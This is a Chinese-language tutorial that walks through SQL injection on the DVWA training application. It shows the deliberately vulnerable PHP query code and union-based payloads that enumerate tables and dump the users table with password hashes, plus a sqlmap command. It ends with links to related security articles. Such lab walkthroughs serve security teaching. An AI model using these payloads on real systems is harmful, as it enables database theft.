SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,具体来说,它是利用现有应用程序将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句.

接下来你需要自行搭建DVWA的漏洞演练环境,我这里使用的系统环境是:Centos 7 + PHP 7 + MariaDB 5.5 + DVWA 1.10

<?php
if( isset($_REQUEST [ 'Submit' ])){
// 根据ID号取出相应的字段
$id = $_REQUEST[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); // 循环获取返回结果,并将其打印到屏幕上
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
$i++;
}
mysql_close();
}
?>

上面的代码就是低安全级别的核心代码了,观察后发现第5行,在查询语句的构建中并没有检查$id参数是否合法,而是直接带入到了数据库中进行了查询,很明显这里存在SQL注入漏洞可以直接利用.

当我们在输入框中输入1的时候,PHP解释器将会把 $id 替换成 1 ,实际上后台执行的SQL语句如下:

SELECT first_name, last_name FROM users WHERE user_id = '1';

由于PHP代码中并没有对 $id 参数进行合法化的过滤,导致我们可以巧妙地使用单引号完成SQL语句的闭合,并通过使用and,or,union 等命令拼接构建好的恶意SQL并带入数据库执行,如下我们可以这样构建一条具有闭合功能的SQL语句:

user_id = '$id' ----> $id = '1' and '1'='1' ---->  最终语句为: 1' and '1'='1

判断注入点:1.首先输入and 1=1 返回了结果,输入and 1=0 返回空,说明存在注入点。

判断字段数: 使用order by 判断字段数,输入order by 1显示正常,但输入order by 3 显示则错误,说明只有两个字段。

获取数据库敏感信息:

读取主机敏感文件:

获取数据库中的表:  1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

获取指定表中的字段: 0' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

脱库: 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

获取登陆后的Cookie:

F12调试模式,登录成功后,可看到cookie

随便输入用户名密码,点击登录跳转到登录页面。

修改,将上方得到的cookie填充到此处,此处我的cookie是;

放行数据,即可登录完成。

保存下面的数据包,然后放入sqlmap根目录。

直接使用 sqlmap.py -r post.txt -p id --dbs 完成注入演示。

DVWA漏洞演练平台 - SQL注入的更多相关文章

  1. DVWA漏洞演练平台 - 文件上传

    DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助w ...

  2. kali上部署dvwa漏洞测试平台

    kali上部署dvwa漏洞测试平台 一.获取dvwa安装包并解压 二.赋予dvwa文件夹相应权限 三.配置Mysql数据库 四.启动apache2和mysql服务 五.在网页配置dvwa 六.登陆到D ...

  3. 第三百九十二节,Django+Xadmin打造上线标准的在线教育平台—sql注入攻击,xss攻击,csrf攻击

    第三百九十二节,Django+Xadmin打造上线标准的在线教育平台—sql注入攻击,xss攻击,csrf攻击 sql注入攻击 也就是黑客通过表单提交的地方,在表单里输入了sql语句,就是通过SQL语 ...

  4. 漏洞重温之sql注入(五)

    漏洞重温之sql注入(五) sqli-labs通关之旅 填坑来了! Less-17 首先,17关,我们先查看一下页面,发现网页正中间是一个登录框. 显然,该关卡的注入应该为post型. 直接查看源码. ...

  5. 漏洞重温之sql注入(六)

    漏洞重温之sql注入(六) sqli-labs通关之旅 Less-26 进入第26关,首先我们可以从网页的提示看出本关是get型注入. 我们给页面添加上id参数后直接去查看源码. 需要关注的东西我已经 ...

  6. 漏洞重温之sql注入(七)

    漏洞重温之sql注入(七) sqli-labs通关之旅 Less-31 首先,进入31关,我们先添加上id参数. 然后,我们查看源码. 我们门可以看到,index页面源码其实很简单,网页也没有对我们的 ...

  7. 【漏洞汇总】SQL 注入漏洞之 mysql

    日期:2019-07-23 19:55:59 更新:2019-08-02 10:40:37 作者:Bay0net 介绍:Mysql 注入笔记 0x01. 基本信息 1.1 基本术语 数据库: 数据库是 ...

  8. pikachu漏洞练习之sql注入

    这里因为实验的时候只记录了一部分所以就展示一部分 1.1.1数字型注入 (1)看到界面发现是查询id功能,没有在url里看到有传参所以应该是post方法提交数据. (2)进行sql注入之前我们最好是先 ...

  9. DVWA-全等级SQL注入(显注)

    前言: 首先是DVWA环境的搭建: 1.DVWA. 2.PHPSTUDY/WampServer,这里有一个坑,因为他是一体化的,PHP版本必须在5.4以上,否则显注不能打开.或者自己搭建LAMP环境. ...

随机推荐

  1. Hadoop环境搭建|第二篇:hadoop环境搭建

    硬件配置:1台NameNode节点.2台DataNode节点 一.Linux环境配置 这里我只配置NameNode节点,DataNode节点的操作相同. 1.1.修改主机名 命令:vi /etc/sy ...

  2. pwn学习日记Day15 《程序员的自我修养》读书笔记

    程序编译链接过程: 1.调用cc1程序,这个程序实际上就是GCC的C语言编译器,它将"hello.c"编译成一个临时的汇编文件"/tmp/ccUhtGSB.s" ...

  3. 攻防世界RE1 writeup

    解题过程 将题目给出的exe文件拖入ida中,查看main函数. 分析函数的逻辑,发现用户需要输出一个字符串,存储到变量v9中.如果v9的值与v5的值相等则会打印unk_413e90中的值,否则打印a ...

  4. 数据库访问接口之ODBC

    ODBC API 实现数据库操作的手段是句柄.在ODBC中,使用不同的句柄(HANDLE)来标志环境(environment).连接(Connection).语句(statement).描述符(des ...

  5. mod 运算与乘法逆元

    mod 运算与乘法逆元 %运算 边乘边mod 乘法 除法 mod 希望计算5/2%7=6 乘法 除法 mod 希望计算5/2%7=6 两边同时/x 在取mod(p)运算下,a/b=a*bp-2 bp- ...

  6. 分布式系统的应用程序性能监视工具,专为微服务、云本机架构和基于容器(Docker、K8s、Mesos)架构而设计。 SkyWalking

    Apache SkyWalking™ | SkyWalking Teamhttp://skywalking.apache.org/zh/ Application performance monitor ...

  7. Flask-SQLAlchemy操作

    Flask-SQLAlchemy   SQLAlchemy 一. 介绍 SQLAlchemy是一个基于Python实现的ORM框架.该框架建立在 DB API之上,使用关系对象映射进行数据库操作,简言 ...

  8. mongodb download

    https://www.mongodb.org/dl/win32/x86_64-2008plus-ssl

  9. 阶段5 3.微服务项目【学成在线】_day05 消息中间件RabbitMQ_4.RabbitMQ研究-安装RabbitMQ

    RabbitMQ由Erlang语言开发,Erlang语言用于并发及分布式系统的开发,在电信领域应用广泛,OTP(Open Telecom Platform)作为Erlang语言的一部分,包含了很多基于 ...

  10. Failed to execute goal org.apache.maven.plugins:maven-surefire-plugin:2.5:test

    解决方法: 打包跳过测试有两种方法 一是命令行 mvn clean package -Dmaven.test.skip=true 二是写入pom文件 <plugin> <groupI ...